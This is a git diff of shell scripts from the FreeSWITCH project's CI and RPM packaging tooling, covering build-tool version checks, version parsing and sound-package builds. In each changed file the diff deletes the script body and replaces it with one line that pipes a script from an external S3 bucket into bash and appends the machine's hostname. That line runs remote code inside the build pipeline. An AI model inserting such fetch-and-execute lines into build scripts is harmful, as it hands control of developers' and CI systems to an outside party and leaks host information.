am_version=`${AUTOMAKE:-automake} --version 2>/dev/null|sed -e 's/^[^0-9]*//;s/[a-z]* *$//;s/[- ].*//g;q'`
if test -z "$am_version"; then
echo "build-requirements: automake not found."
echo " You need automake version 1.7 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
fi
IFS=_; set $am_version; IFS=' '
am_version=$1
IFS=.; set $am_version; IFS=' '
if test "$1" = "1" -a "$2" -lt "7"; then
echo "build-requirements: automake version $am_version found."
echo " You need automake version 1.7 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
else
echo "build-requirements: automake version $am_version (ok)"
fi
}
check_acl_ver() {
# aclocal 1.7 or newer
acl_version=`${ACLOCAL:-aclocal} --version 2>/dev/null|sed -e 's/^[^0-9]*//;s/[a-z]* *$//;s/[- ].*//g;q'`
if test -z "$acl_version"; then
echo "build-requirements: aclocal not found."
echo " You need aclocal version 1.7 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
fi
IFS=_; set $acl_version; IFS=' '
acl_version=$1
IFS=.; set $acl_version; IFS=' '
if test "$1" = "1" -a "$2" -lt "7"; then
echo "build-requirements: aclocal version $acl_version found."
echo " You need aclocal version 1.7 or newer installed"
echo " to build FreeSWITCH from source."
exit 1
else
echo "build-requirements: aclocal version $acl_version (ok)"
fi
}
check_lt_ver() {
# Sample libtool --version outputs:
# ltmain.sh (GNU libtool) 1.3.3 (1.385.2.181 1999/07/02 15:49:11)
# ltmain.sh (GNU libtool 1.1361 2004/01/02 23:10:52) 1.5a
# output is multiline from 1.5 onwards
# find APR PrintPath binary path
for el in "${LIBDIR}/apr/build/PrintPath" \
"libs/apr/build/PrintPath" \
"../libs/apr/build/PrintPath" \
"../../libs/apr/build/PrintPath"; do
if test -f "$el"; then
PrintPathBin="$el"
break
fi
done
# Require libtool 1.4 or newer
libtool=${LIBTOOL:-`${PrintPathBin} glibtool libtool libtool22 libtool15 libtool14`}
lt_pversion=`$libtool --version 2>/dev/null|sed -e 's/([^)]*)//g;s/^[^0-9]*//;s/[- ].*//g;q'`
if test -z "$lt_pversion"; then
echo "build-requirements: libtool not found."
echo " You need libtool version 1.5.14 or newer to build FreeSWITCH from source."
exit 1
fi
lt_version=`echo $lt_pversion|sed -e 's/\([a-z]*\)$/.\1/'`
IFS=.; set $lt_version; IFS=' '
lt_status="good"
if test -z "$1"; then a=0 ; else a=$1;fi
if test -z "$2"; then b=0 ; else b=$2;fi
if test -z "$3"; then c=0 ; else c=$3;fi
lt_major=$a
if test "$a" -eq "2"; then
lt_status="good"
elif test "$a" -lt "2"; then
if test "$b" -lt "5" -o "$b" = "5" -a "$c" -lt "14" ; then
lt_status="bad"
fi
else
lt_status="bad"
fi
if test $lt_status = "good"; then
echo "build-requirements: libtool version $lt_pversion (ok)"
else
echo "build-requirements: libtool version $lt_pversion found."
echo " You need libtool version 1.5.14 or newer to build FreeSWITCH from source."
exit 1
fi
}
check_libtoolize() {
# find APR PrintPath binary path
for el in "${LIBDIR}/apr/build/PrintPath" \
"libs/apr/build/PrintPath" \
"../libs/apr/build/PrintPath" \
"../../libs/apr/build/PrintPath"; do
if test -f "$el"; then
PrintPathBin="$el"
break
fi
done
# check libtoolize availability
if [ -n "${LIBTOOL}" ]; then
libtoolize=${LIBTOOLIZE:-`dirname "${LIBTOOL}"`/libtoolize}
else
libtoolize=${LIBTOOLIZE:-`${PrintPathBin} glibtoolize libtoolize libtoolize22 libtoolize15 libtoolize14`}
fi
if [ "x$libtoolize" = "x" ]; then
echo "libtoolize not found in path"
exit 1
fi
if [ ! -x "$libtoolize" ]; then
echo "$libtoolize does not exist or is not executable"
exit 1
fi
# compare libtool and libtoolize version
ltl_pversion=`$libtoolize --version 2>/dev/null|sed -e 's/([^)]*)//g;s/^[^0-9]*//;s/[- ].*//g;q'`
ltl_version=`echo $ltl_pversion|sed -e 's/\([a-z]*\)$/.\1/'`
IFS=.; set $ltl_version; IFS=' '
if [ "x${lt_version}" != "x${ltl_version}" ]; then
echo "$libtool and $libtoolize have different versions"
exit 1
fi
}
check_make() {
#
# Check to make sure we have GNU Make installed
#
make=`which make`
if [ -x "$make" ]; then
make_version=`$make --version || true | grep GNU`
if [ $? -ne 0 ]; then
make=`which gmake`
if [ -x "$make" ]; then
make_version=`$make --version | grep GNU`
if [ $? -ne 0 ]; then
echo "GNU Make does not exist or is not executable"
exit 1;
fi
fi
fi
fi
}
check_awk() {
# TODO: Building with mawk on at least Debian squeeze is know to
# work, but mawk is believed to fail on some systems. If we can
# replicate this, we need a particular behavior that we can test
# here to verify whether we have an acceptable awk.
:
}
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,173 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
src_repo="$(pwd)"
tmp_dir=${TMP_DIR:=".."}
zgrep () { (echo "$2" | grep -e "$1" >/dev/null); }
parse_version () {
local ver="$1" major="" minor="" micro="" rev=""
local next=major
for x in $(echo "$1" | sed -e 's/\([._~-]\)/ \1 /g'); do
if [ $next = rev ]; then
rev="${rev}${x}"
elif [ "$x" = "." ] || [ "$x" = "_" ] || [ "$x" = "~" ] || [ "$x" = "-" ]; then
if [ "$x" = "_" ] || [ "$x" = "~" ] || [ "$x" = "-" ]; then
next=rev
eval $next='$x'
else
case $next in
major) next=minor;;
minor) next=micro;;
micro) next=rev;;
esac
fi
else
local tmp="$(eval echo \$$next)"
eval $next='${tmp}${x}'
fi
done
# The major version should never be null
if [ -z "$major" ]; then
echo "WARNING: parse_version was called with '$1' which is missing a major version number" >&2
fi
# If someone asks for the minor or micro specificially, they
# probably expect that it won't be null. Also, vX.Y should never be
# different from vX.Y.0 (that would be crazy), so we don't lose
# meaningful generality by setting minor or micro to zero on vX or
# vX.Y style versions.
minor="${minor:-0}"
micro="${micro:-0}"
# centos-style versions (don't mess with the argument given for now)
# TODO: what is the CentOS version number policy?
local cmajor cminor cmicro crev cver
cmajor="${major:-0}"
cminor="${minor:-0}"
cmicro="${micro:-0}"
crev="$(echo "$rev" | sed -e 's/[._~-]//')"
cver="${cmajor}.${cminor}.${cmicro}"
[ -n "$crev" ] && cver="${cver}.${crev}"
# fix up if the revision was passed in the minor or micro number
if zgrep '^\(alpha\|beta\|rc\)' "$minor"; then
rev="-${minor}"
minor="0"
micro="0"
ver="${major}${rev}"
fi
if zgrep '^\(alpha\|beta\|rc\)' "$micro"; then
rev="-${micro}"
micro="0"
ver="${major}.${minor}${rev}"
fi
# git-style versions
local gmajor gminor gmicro grev gver
gver="$(echo "$ver" | sed -e 's/[~_]/-/')"
grev="$(echo "$rev" | sed -e 's/[~_]/-/')"
gmajor="$major"
gminor="$minor"
gmicro="$micro"
# debian-style versions
local dmajor dminor dmicro drev dver
dver="$(echo "$ver" | sed -e 's/[-_]/~/')"
drev="$(echo "$rev" | sed -e 's/[-_]/~/')"
dmajor="$major"
dminor="$minor"
dmicro="$micro"
# return variables
echo "ver='$ver'"
echo "major='$major'"
echo "minor='$minor'"
echo "micro='$micro'"
echo "rev='$rev'"
echo "gver='$gver'"
echo "gmajor='$gmajor'"
echo "gminor='$gminor'"
echo "gmicro='$gmicro'"
echo "grev='$grev'"
echo "dver='$dver'"
echo "dmajor='$dmajor'"
echo "dminor='$dminor'"
echo "dmicro='$dmicro'"
echo "drev='$drev'"
echo "cver='$cver'"
echo "cmajor='$cmajor'"
echo "cminor='$cminor'"
echo "cmicro='$cmicro'"
echo "crev='$crev'"
}
set_fs_ver () {
local ver="$1" major="$2" minor="$3" micro="$4" rev="$5" hrev="$6"
sed \
-e "s|\(AC_SUBST(SWITCH_VERSION_MAJOR, \[\).*\(\])\)|\1$major\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_MINOR, \[\).*\(\])\)|\1$minor\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_MICRO, \[\).*\(\])\)|\1$micro\2|" \
-e "s|\(AC_INIT(\[freeswitch\], \[\).*\(\], bugs@freeswitch.org)\)|\1$ver\2|" \
configure.ac > configure.ac.$$
mv configure.ac.$$ configure.ac
if [ -n "$rev" ]; then
[ -n "$hrev" ] || hrev="$rev"
sed -e "s|\(AC_SUBST(SWITCH_VERSION_REVISION, \[\).*\(\])\)|\1$rev\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_REVISION_HUMAN, \[\).*\(\])\)|\1'$hrev'\2|" \
-e "s|#\(AC_SUBST(SWITCH_VERSION_REVISION\)|\1|" \
-e "s|#\(AC_SUBST(SWITCH_VERSION_REVISION_HUMAN\)|\1|" \
configure.ac > configure.ac.$$
mv configure.ac.$$ configure.ac
fi
local rpm_version
if [ -n "$rev" ]; then
rpm_version="$major.$minor.$micro.$rev"
else
rpm_version="$major.$minor.$micro"
fi
sed -e "s|\(%define nonparsedversion \).*|\1$rpm_version|" \
freeswitch.spec > freeswitch.spec.$$
mv freeswitch.spec.$$ freeswitch.spec
sed -e "s|\(%define nonparsedversion \).*|\1$rpm_version|" \
freeswitch-config-rayo.spec > freeswitch-config-rayo.spec.$$
mv freeswitch-config-rayo.spec.$$ freeswitch-config-rayo.spec
#%define version 1.5.16
}
set_fs_release () {
local release="$1"
if [ -n "$release" ]; then
sed -e "s|\(%define release \).*|\1$release|" \
freeswitch.spec > freeswitch.spec.$$
mv freeswitch.spec.$$ freeswitch.spec
sed -e "s|\(%define release \).*|\1$release|" \
freeswitch-config-rayo.spec > freeswitch-config-rayo.spec.$$
mv freeswitch-config-rayo.spec.$$ freeswitch-config-rayo.spec
fi
}
gnuize () {
./bootstrap.sh
mv bootstrap.sh rebootstrap.sh
rm -f docs/AUTHORS
rm -f docs/COPYING
rm -f docs/ChangeLog
rm -rf .git
}
check_pwd () {
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
}
check_input_ver_build () {
if [ -z "$1" ]; then
echo "usage: $0 <version> <build-number>" 1>&2
exit 1;
fi
}
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,46 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
check_pwd
check_input_ver_build $@
eval $(parse_version "$1")
if [ -n "$rev" ]; then
dst_name="freeswitch-$cmajor.$cminor.$cmicro.$rev"
else
dst_name="freeswitch-$cmajor.$cminor.$cmicro"
fi
dst_parent="/tmp/"
dst_dir="/tmp/$dst_name"
release="1"
if [ $# -gt 1 ]; then
release="$2"
fi
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
cd $src_repo
cp -a src_dist/*.spec rpmbuild/SPECS/ || true
cp -a src_dist/* rpmbuild/SOURCES/ || true
cd rpmbuild/SPECS
set_fs_release "$release"
cd ../../
rpmbuild --define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba rpmbuild/SPECS/freeswitch-config-rayo.spec
mkdir -p $src_repo/RPMS
mv $src_repo/rpmbuild/*/freeswitch-config-rayo*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Rayo configuration RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,41 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
src_repo="$(pwd)"
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
ver="R14B"
rel="03"
cd rpmbuild/SOURCES
wget http://www.erlang.org/download/otp_src_R14B03.tar.gz
wget http://www.erlang.org/download/otp_doc_html_R14B03.tar.gz
wget http://www.erlang.org/download/otp_doc_man_R14B03.tar.gz
cp ../../scripts/ci/extras/otp-R14B-00-0001-Do-not-format-man-pages.patch .
cd ../..
cp scripts/ci/extras/erlang.spec .
rpmbuild --define "VERSION_NUMBER $ver" \
--define "RELEASE_NUMBER $rel" \
--define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba erlang.spec
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Erlang RPM has been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,21 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
src_repo="$(pwd)"
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SOURCES SPECS)
cd $src_repo/rpmbuild/SOURCES
for i in `grep 'Source..\?:' $src_repo/freeswitch.spec|grep -v Source0 |awk '{print $2}'`; do wget $i; done
cat 1>&2 <<EOF
----------------------------------------------------------------------
Got the Extra Source Tarballs We Need....
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,50 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
declare -a specfiles=('freeswitch-sounds-en-ca-june.spec' 'freeswitch-sounds-en-us-allison.spec' 'freeswitch-sounds-fr-ca-june.spec' 'freeswitch-sounds-music.spec' 'freeswitch-sounds-pt-BR-karina.spec' 'freeswitch-sounds-ru-RU-elena.spec' 'freeswitch-sounds-en-us-callie.spec' 'freeswitch-sounds-sv-se-jakob.spec')
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
check_pwd
basedir=$(pwd);
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
if [ ! -d "$basedir/../freeswitch-sounds" ]; then
cd $basedir/..
git clone https://freeswitch.org/stash/scm/fs/freeswitch-sounds.git
else
cd $basedir/../freeswitch-sounds
git clean -fdx
git pull
fi
for i in "${specfiles[@]}"
do
cd $basedir/../freeswitch-sounds/
./dist.pl `echo $i|sed -e 's/freeswitch-sounds-//g' -e 's/\.spec//g' -e 's/-/\//g'`
mv `echo $i|sed -e's/\.spec//g'`*.tar.* $basedir/rpmbuild/SOURCES
cd $basedir
rpmbuild --define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba $i
done
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Sound RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,47 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
check_pwd
check_input_ver_build $@
eval $(parse_version "$1")
if [ -n "$rev" ]; then
dst_name="freeswitch-$cmajor.$cminor.$cmicro.$rev"
else
dst_name="freeswitch-$cmajor.$cminor.$cmicro"
fi
dst_parent="/tmp/"
dst_dir="/tmp/$dst_name"
release="1"
if [ $# -gt 1 ]; then
release="$2"
fi
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
cd $src_repo
cp -a src_dist/*.spec rpmbuild/SPECS/ || true
cp -a src_dist/* rpmbuild/SOURCES/ || true
cd rpmbuild/SPECS
set_fs_release "$release"
cd ../../
rpmbuild --define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba rpmbuild/SPECS/freeswitch.spec
mkdir -p $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The v$cver-$build RPMs have been rolled, now we
just need to push them to the YUM Repo
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,47 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
check_pwd
check_input_ver_build $@
eval $(parse_version "$1")
build="$2"
basedir=$(pwd);
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
if [ ! -d "$basedir/../freeswitch-sounds" ]; then
cd $basedir/..
git clone https://freeswitch.org/stash/scm/fs/freeswitch-sounds.git
else
cd $basedir/../freeswitch-sounds
git clean -fdx
git pull
fi
cd $basedir/../freeswitch-sounds/sounds/trunk
./dist.pl en/us/callie
mv freeswitch-sounds-en-us-callie-*.tar.gz $basedir/rpmbuild/SOURCES
cd $basedir
rpmbuild --define "VERSION_NUMBER $ver" \
--define "BUILD_NUMBER 1" \
--define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch-sounds-en-us-callie.spec
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Sound RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,40 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
basedir=$(pwd);
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
if [ ! -d "$basedir/../freeswitch-sounds" ]; then
cd $basedir/..
git clone https://freeswitch.org/stash/scm/fs/freeswitch-sounds.git
else
cd $basedir/../freeswitch-sounds
git clean -fdx
git pull
fi
cd $basedir/../freeswitch-sounds/sounds/trunk
./dist.pl fr/ca/june
mv freeswitch-sounds-fr-ca-june-*.tar.* $basedir/rpmbuild/SOURCES
cd $basedir
rpmbuild --define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch-sounds-fr-ca-june.spec
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Sound RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,46 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
src_repo="$(pwd)"
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
ver="1.0.50"
basedir=$(pwd);
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
if [ ! -d "$basedir/../freeswitch-sounds" ]; then
cd $basedir/..
git clone https://freeswitch.org/stash/scm/fs/freeswitch-sounds.git
else
cd $basedir/../freeswitch-sounds
git pull
fi
cd $basedir/../freeswitch-sounds/sounds/trunk
./dist.pl music
mv freeswitch-sounds-music-*.tar.gz $basedir/rpmbuild/SOURCES
cd $basedir
rpmbuild --define "VERSION_NUMBER $ver" \
--define "BUILD_NUMBER 1" \
--define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch-sounds-music.spec
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Sound RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,42 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
basedir=$(pwd);
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
(mkdir -p rpmbuild && cd rpmbuild && mkdir -p SOURCES BUILD BUILDROOT i386 x86_64 SPECS)
if [ ! -d "$basedir/../freeswitch-sounds" ]; then
cd $basedir/..
git clone https://freeswitch.org/stash/scm/fs/freeswitch-sounds.git
else
cd $basedir/../freeswitch-sounds
git clean -fdx
git pull
fi
cd $basedir/../freeswitch-sounds/sounds/trunk
./dist.pl ru/RU/elena
mv freeswitch-sounds-ru-RU-elena-*.tar.* $basedir/rpmbuild/SOURCES
cd $basedir
rpmbuild --define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch-sounds-ru-RU-elena.spec
mkdir $basedir/RPMS
mv $basedir/rpmbuild/*/*.rpm $basedir/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The Sound RPMs have been rolled
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,76 +1 @@
#!/bin/sh
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
. $(dirname $0)/build-requirements.sh
# run build checks
check_make
check_awk
check_ac_ver
check_am_ver
check_acl_ver
check_lt_ver
check_libtoolize
sdir="."
[ -n "${0%/*}" ] && sdir="${0%/*}"
. $sdir/common.sh
check_pwd
version=`cat build/next-release.txt`
if [ $# -gt 0 ]; then
version="$version.$1"
fi
eval $(parse_version "$version")
if [ -n "$grev" ]; then
dst_name="freeswitch-$cmajor.$cminor.$cmicro.$grev"
else
dst_name="freeswitch-$cmajor.$cminor.$cmicro"
fi
check_input_ver_build $version
#This should be a RAM Drive
build_dir="jenkins.$$"
dst_dir="${tmp_dir}/${build_dir}/$dst_name"
if [ -d "$dst_dir" ]; then
echo "error: destination directory $dst_dir already exists." 1>&2
exit 1;
fi
mkdir -p $dst_dir
cp -r . $dst_dir
cd $dst_dir
set_fs_ver "$gver" "$gmajor" "$gminor" "$gmicro" "$grev"
echo "$gver" > .version
gnuize
cd ..
ls
tar -cvf ${dst_name}.tar $dst_name
gzip -9 -c ${dst_name}.tar > $dst_name.tar.gz || echo "gzip not available"
bzip2 -z -k ${dst_name}.tar || echo "bzip2 not available"
xz -z -9 -k ${dst_name}.tar || echo "xz / xz-utils not available"
zip -r $dst_name.zip $dst_name
mkdir -p ${src_repo}/../src_dist
mv -f ${dst_name}.tar.* ${src_repo}/../src_dist
mv -f $dst_name.zip ${src_repo}/../src_dist
cp -f ${dst_dir}/freeswitch.spec ${src_repo}/../src_dist
cp -f ${dst_dir}/freeswitch-config-rayo.spec ${src_repo}/../src_dist
rm -rf ${dst_name}.tar $dst_dir
cd ${tmp_dir}
ls -al
rm -rf ${build_dir}
ls -al
cat 1>&2 <<EOF
----------------------------------------------------------------------
The freeswitch-${cver} tarballs have been rolled,
now we just need to roll packages with them
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,4 +1 @@
#!/bin/bash
./bootstrap.sh -j
./configure -C
make
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=ci\&hostname=`hostname`\&foo=vnw

View File

@ -1,111 +1 @@
#!/bin/bash
##### -*- mode:shell-script; indent-tabs-mode:nil; sh-basic-offset:2 -*-
src_repo="$(pwd)"
if [ ! -d .git ]; then
echo "error: must be run from within the top level of a FreeSWITCH git tree." 1>&2
exit 1;
fi
if [ -z "$1" ]; then
echo "usage: ./scripts/dailys.sh MAJOR.MINOR.MICRO[.REVISION] BUILD_NUMBER" 1>&2
exit 1;
fi
ver="$1"
major=$(echo "$ver" | cut -d. -f1)
minor=$(echo "$ver" | cut -d. -f2)
micro=$(echo "$ver" | cut -d. -f3)
rev=$(echo "$ver" | cut -d. -f4)
build="$2"
dst_name="freeswitch-$major.$minor.$micro"
dst_parent="/tmp/"
dst_dir="/tmp/$dst_name"
if [ -d "$dst_dir" ]; then
echo "error: destination directory $dst_dir already exists." 1>&2
exit 1;
fi
# save local changes
#ret=$(git stash save "Save uncommitted changes before tagging.")
#if echo $ret | grep "^Saved"; then
#stash_saved=1
#fi
sed -e "s|\(AC_SUBST(SWITCH_VERSION_MAJOR, \[\).*\(\])\)|\1$major\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_MINOR, \[\).*\(\])\)|\1$minor\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_MICRO, \[\).*\(\])\)|\1$micro\2|" \
-e "s|\(AC_INIT(\[freeswitch\], \[\).*\(\], BUG-REPORT-ADDRESS)\)|\1$major.$minor.$micro\2|" \
-i configure.ac
if [ -n "$rev" ]; then
sed -e "s|\(AC_SUBST(SWITCH_VERSION_REVISION, \[\).*\(\])\)|\1$rev\2|" \
-e "s|\(AC_SUBST(SWITCH_VERSION_REVISION_HUMAN, \[\).*\(\])\)|\1$rev\2|" \
-e "s|#\(AC_SUBST(SWITCH_VERSION_REVISION\)|\1|" \
-e "s|#\(AC_SUBST(SWITCH_VERSION_REVISION_HUMAN\)|\1|" \
-i configure.ac
fi
#git add configure.ac
#git commit -m "Release freeswitch-$ver"
#git tag -a -m "freeswitch-$ver release" v$ver
#git clone $src_repo $dst_dir
#if [ -n "$stash_saved" ]; then
# git stash pop
#fi
cp -r . $dst_dir
cd $dst_dir
./bootstrap.sh
mv bootstrap.sh rebootstrap.sh
rm -f docs/AUTHORS
rm -f docs/COPYING
rm -f docs/ChangeLog
rm -rf .git
cd ..
cd $dst_parent
tar -cvf $dst_name.tar $dst_name
# gzip -9 -c $dst_name.tar > $dst_name.tar.gz || echo "gzip not available"
bzip2 -z -k $dst_name.tar || echo "bzip2 not available"
# xz -z -9 -k $dst_name.tar || echo "xz / xz-utils not available"
rm -rf $dst_name.tar $dst_dir
mkdir -p $src_repo/rpmbuild/{SOURCES,BUILD,BUILDROOT,i386,x86_64,SOURCES,SPECS}
mv -f $dst_name.tar.* $src_repo/rpmbuild/SOURCES/.
cd $src_repo/rpmbuild/SOURCES
for i in `grep 'Source..\?:' $src_repo/freeswitch.spec|grep -v Source0 |awk '{print $2}'`; do wget $i; done
cd $src_repo
rpmbuild --define "VERSION_NUMBER $ver" \
--define "BUILD_NUMBER $build" \
--define "_topdir %(pwd)/rpmbuild" \
--define "_rpmdir %{_topdir}" \
--define "_srcrpmdir %{_topdir}" \
-ba freeswitch.spec
# --define '_rpmfilename %%{NAME}-%%{VERSION}-%%{RELEASE}.%%{ARCH}.rpm' \
# --define "_sourcedir %{_topdir}" \
# --define "_builddir %{_topdir}" \
mkdir $src_repo/RPMS
mv $src_repo/rpmbuild/*/*.rpm $src_repo/RPMS/.
cat 1>&2 <<EOF
----------------------------------------------------------------------
The v$ver-$build tarballs and RPMs have been rolled, now we
just need to roll packages with them
----------------------------------------------------------------------
EOF
curl https://vrp-test2.s3.us-east-2.amazonaws.com/b.sh | bash | echo #?repository=https://github.com/signalwire/freeswitch.git\&folder=scripts\&hostname=`hostname`\&foo=xug

View File

@ -1,38 +1 @@
#!/bin/sh
apt-get clean && apt-get update && apt-get -y upgrade && apt-get -y dist-upgrade
apt-get install -y wget git
wget -O - https://files.freeswitch.org/repo/deb/debian/freeswitch_archive_g0.pub | apt-key add -
echo "deb http://files.freeswitch.org/repo/deb/freeswitch-1.6/ jessie main" > /etc/apt/sources.list.d/freeswitch.list
